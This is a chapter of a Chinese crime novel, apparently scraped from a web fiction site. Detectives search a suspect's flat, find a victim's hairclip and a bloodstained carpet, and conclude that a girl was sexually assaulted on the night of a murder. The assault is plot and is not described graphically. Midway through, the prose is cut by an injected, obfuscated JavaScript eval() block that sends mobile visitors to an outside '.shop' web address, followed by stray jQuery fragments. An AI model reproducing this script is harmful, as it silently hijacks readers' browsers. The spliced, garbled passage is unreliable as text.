70.一天之前都在隐瞒

作品:《泉眼无声

    那天夜里,谢东和安茜再次来到李舰家,他们遇到了徐红。


    徐红面色苍白,双手捧着肚子,艰难地站在门口,他们寒暄几句,谢东亮出了搜查令,便开始翻箱倒柜。


    李舰家里很宽敞,却很凌乱,一看就是长时间没有女人打理。


    谢东拉开抽屉,打开衣柜,每个衣兜,每个背包,每个瓶子罐子,都翻了一遍,并没有发现什么。


    直到谢东打开床下塞着的一个行李箱,他才收手。


    一整个箱子里都是毛绒玩具,还有小女孩爱玩儿的芭比娃娃。


    徐红解释说,“我们家李舰性格柔软,很喜欢女孩子,再者,我这边也怀了个女孩,所以买来备着些。”


    谢东觉得有些不对头,翻里面的物品,有巧克力,有牛奶糖,一个念头又一个念头在他脑海里闪过。


    他的目光落在满是灰尘的书柜上,发现了大量书签。


    “你既然怀孕,为什么要长时间回娘家住?”安茜问。


    徐红脸上闪现一丝迟疑,随后说,“他工作忙,顾不上我,再说他一个大男人笨手笨脚的,伺候孕妇还得是娘家人妥帖。”


    安茜道,“看这肚皮,怕是要生了吧。”


    “预产期就是这几天。”徐红脸上更加没有血色,问道,“不知我家李舰,什么时候能被放出来?我不想孩子出生时,爸爸却不在身边。”


    安茜看了看谢东,谢东起身说,“事关案件调查,暂时不能告诉你。”


    谢东目光再次落向李舰家的阳台,那里堆满杂物,旧衣服、破花盆、碎玻璃,不要的旧被子,破椅子,真是什么都有。


    安茜和谢东两人合力,把阳台又翻了一遍,雨从阳台的玻璃拉门吹进屋子,地板湿了一大块。


    谢东目光如炬地看了看阳台旁边的排水管道,一直顺到一楼。


    安茜又返回,准备关好阳台的门。


    她用力拉阳台的玻璃拉门,却没有拉动,拉门下被什么东西卡住了。安茜蹲下身,从滑道里抠出一枚发卡。


    她吹吹灰,放在手电筒下仔细看,已经被压得变了形状,歪歪扭扭。


    谢东把发卡变形的部分捏回去,那是一枚蝴蝶形状的发卡。


    谢东脸色不太好看。


    安茜说,“这种发卡不算普遍,在咱们县城的商店里从没见过。”


    “是从市里买的,她姥姥给她买的,我女儿说只有她一个人有。”谢东说。


    安茜心惊。


    “我……我们家老李经常邀请姜暮来家里和我们家李煊赫玩,这很正常。”徐红显然有些不自然,面露尴尬。


    谢东的目光已换上凌厉和审判,他问徐红,“你回娘家有一段时间了吧?”


    徐红点头,“差不多有两个月了。”


    “你们夫妻关系好吗?夫妻生活怎么样?”


    徐红面色赧然,难为情地将类似于求救或者奇怪的目光转向安茜,安茜没有给她任何救助。


    她只能回答说,“中年夫妻,还能怎样,可是也没糟糕到你们猜测的地步,不然也不能有了这个孩子。实际上,我去他姥姥家生产也不是因为夫妻感情不好,只是没办法,毕竟这是二胎。”她神色踯躅,安茜却明白了。


    谢东没再说什么,接过安茜递给他一个证物袋,装好,两人便离开了。


    徐红关上门,用力捧住肚子,双腿发抖,身体滑向地面。


    ……


    警车奔驰在雨后的马路上,路面被路灯和车灯照得波光粼粼。


    谢东驱车去了打更房,拉上窗帘,在地板上喷上鲁米诺试剂,还是没有发现血迹。


    “难道是时间太久,不发生反应了?”安茜问。


    可能性不大,即便时间过去了很久,如果有血迹,不可能一点反应都没有。


    谢东在屋子里徘徊片刻,发现了一点小玄机,房间内的水泥中间呈现一个更干净的方块形状。


    谢东道,“这是怎么回事?”


    安茜道,“这屋子以前可能铺了地毯。”


    谢东蹲下身,在椅子脚下发现许多粘着的纤维,“没错。”


    打更老头故意把地毯撤下去了,说明地毯可能有问题。


    他们很快就在打更房的仓库里找到了一块又脏又旧的地毯,地毯上果然有血迹,足以证明当晚发生了激烈事件。


    但安茜想不通,令大家都缄口不言的会是一件什么事?


    ……


    回警察局途中,气氛一下子沉寂了。


    谢东一手握着方向盘,一手肘搭在车窗上,揉着太阳穴,心里万马奔腾,“我们一直都错了,我们以为是张文斌性侵姜暮。”


    安茜神色沉痛。


    谢东道,“还记得姜暮的口供吗?”


    安茜点头,“记得。”


    谢东道,“她一直说的是没有被张文斌侵犯,而不是没有被侵犯。


    “老头一直隐藏的打更房当时发生的事实,是因为姜暮当时正被李舰性侵。”


    谢东的话戛然而止,却令人毛骨悚然。


    安茜想不通,“但是这事不对,打更老头和姜暮难道提前串供了,否则两个人怎么会同时把李舰剔除掉了?”


    “没有串供。”谢东说。


    想了片刻,他又肯定地说,“没有串供。”


    安茜道,“怎么会?”


    他缕清思路说,“这也正是我怀疑当时在打更房一定发生了犯罪的原因。”


    仔细回想讯问细节:


    姜暮一直被我们逼问上山之后因为什么与死者吵架,她明明可以马上丢出打更老头为她作证,但是她却没有,原因只能是那个真相令她无法宣之于口——她怕李舰和她正在做的事被暴露出来。


    案发当时下大雨,打更老头出去苫布,回来时,发现房门紧锁,而房间内正发生着不轨行为,打更老头没办法从外面打开门营救,旁边仓房的钥匙也在房内,于是出去找石头,但附近被他收拾得很干净,只有水泵房附近有石头,所以他才冒雨跑去了水泵房,结果看到了张文斌与人吵架,他或许真的没有仔细听他们吵什么,因为他心里惦记着打更房里的事,他立即搬来石头,回来开始砸门,为的是要救姜暮。


    姜暮本打算掩盖掉这件事,直到打更老头来指认姜暮,姜暮才感到真正的恐惧,她害怕打更老头说出真相。


    但打更老头绝对不会说实话。


    我们可以试想一下,如果当晚打更房内真的发生了不可描述的事实,那么李舰会怎么做?


    他一定会强迫并威胁打更老头闭上嘴,所以打更老头的口供中一直强调有个姑娘和他在打更房避雨,可以证明他自己没杀人,但他却不敢说姜暮和李舰的事。


    其他方面,打更老头没有撒谎,打更老头确实没看到和张文斌吵架的人的脸,也不知道那人是男是女,所以一股脑对警察说了实话,他也没想过,他的证词会导致那女孩被误会为与张文斌吵架的人,因为他根本不认识姜暮,那天是他第一次见姜暮。


    所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13545878|134156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以打更老头在审讯室见到姜暮后似乎明白了什么,他知道这个女孩被误以为是和死者吵架的人,所以当时他流露出来的惊慌失措被我们误会,其实那完全是因为他一时之间没有反应过来、思想混乱、和恐惧的表现。他一直想保护那女孩,没想到害了她。


    姜暮晕倒,给了姜暮和老头彼此都冷静的一段期间,姜暮醒来后,认真回想了事情的经过,她很聪明,她知道打更老头在高压力下,一定会松口,但他绝对不会说出李舰,所以她才敢承认了见过打更老头的事实。


    而随着审讯的深入,打更老头也突然明白过来,姜暮那个小女孩可能承受不住警方施加的讯问压力,可能会说出一些事情,但她是绝对不敢说出被性侵的真相的,所以他只有说出姜暮就是避雨女孩的真相,两个人的口供才可能不谋而合。


    姜暮和打更老头比谁都清楚,互相给予不在场证明是彼此摆脱嫌疑的唯一途径。


    而李舰,他威胁打更老头不要说出真相,却想不到最终想要脱罪,竟要打更老头来为他作不在场证明,这是否是自食恶果。


    谢东虽然不是痕迹学专家,但他在打更房进行了粗略的测算,也基本能够大致还原当时的现场,当晚李舰的伤口极有可能是被姜暮扎伤的。


    姜暮拿着剔骨刀,刺向李舰,李舰用手抓住刀,没有受重伤,只是腹部被扎伤,流了血,所以李舰衬衫上有自己血迹,匕首上也有自己的血迹。


    他抢过那把匕首,这时打更老头砸开了门,救下姜暮。


    而与此同时,蓄水池旁,与张文斌吵架的人,已经杀死了张文斌。


    所以当姜暮路过时,张文斌还在喷血,李舰来追姜暮,看到同样的场景。


    也许李舰没有撒谎,他见到受伤的张文斌后确实为他做心脏按压,那么衬衫和匕首确实也有可能同时沾染上死者血迹。


    这也就形成了血衣和匕首上同时沾染死者和李舰血迹的原因。


    案件推测到这里,谢东真的开始怀疑李舰杀人的动机了,毕竟一个准备上山说服张文斌不要因诈骗而报警的人会中途去性侵姜暮吗?


    假设他在打更房性侵姜暮时,不小心被张文斌看到,之后又因张文斌目睹性侵这件事去灭口,那么他为什么没杀打更老头?


    退一步思考,假设他的杀人动机是怕张文斌报警举报他诈骗,导致杀人,那么性侵这件事难道不怕打更老头泄露吗?同样是犯罪,难道还会区别对待吗?杀一个还是杀一双在那个不理智的时刻难道很难抉择吗?


    很显然,杀人动机有瑕疵。


    所以,真凶可能还是那个在蓄水池旁与张文斌吵架的人。


    那么,当晚与张文斌在蓄水池前吵架的人究竟是谁?


    “还是不对,”安茜说,“李舰如果在10:30时真的在打更房侵犯姜暮,姜暮真的动刀要杀他,李舰怎么敢让姜暮给他作不在场证明?”


    “因为他比谁都知道,姜暮不会承认这件事。”


    “真是不可思议,骇人听闻。”


    安茜手肘搭在另一侧的车窗上,手指放在唇边。


    谢东道,“不止李舰在隐瞒,姜暮也在隐瞒,打更老头在隐瞒,连张朝也可能知道些什么在隐瞒,所有人商量好了一样,都在隐瞒,为了各自的目的,也或者,他们都在保护姜暮。”


    谢东突然感觉到一股巨大的力量在推动他,他攥紧手心,握紧方向盘。他知道,他发现了那个秘密。


    他踩向油门,车像离弦的箭冲进雨里。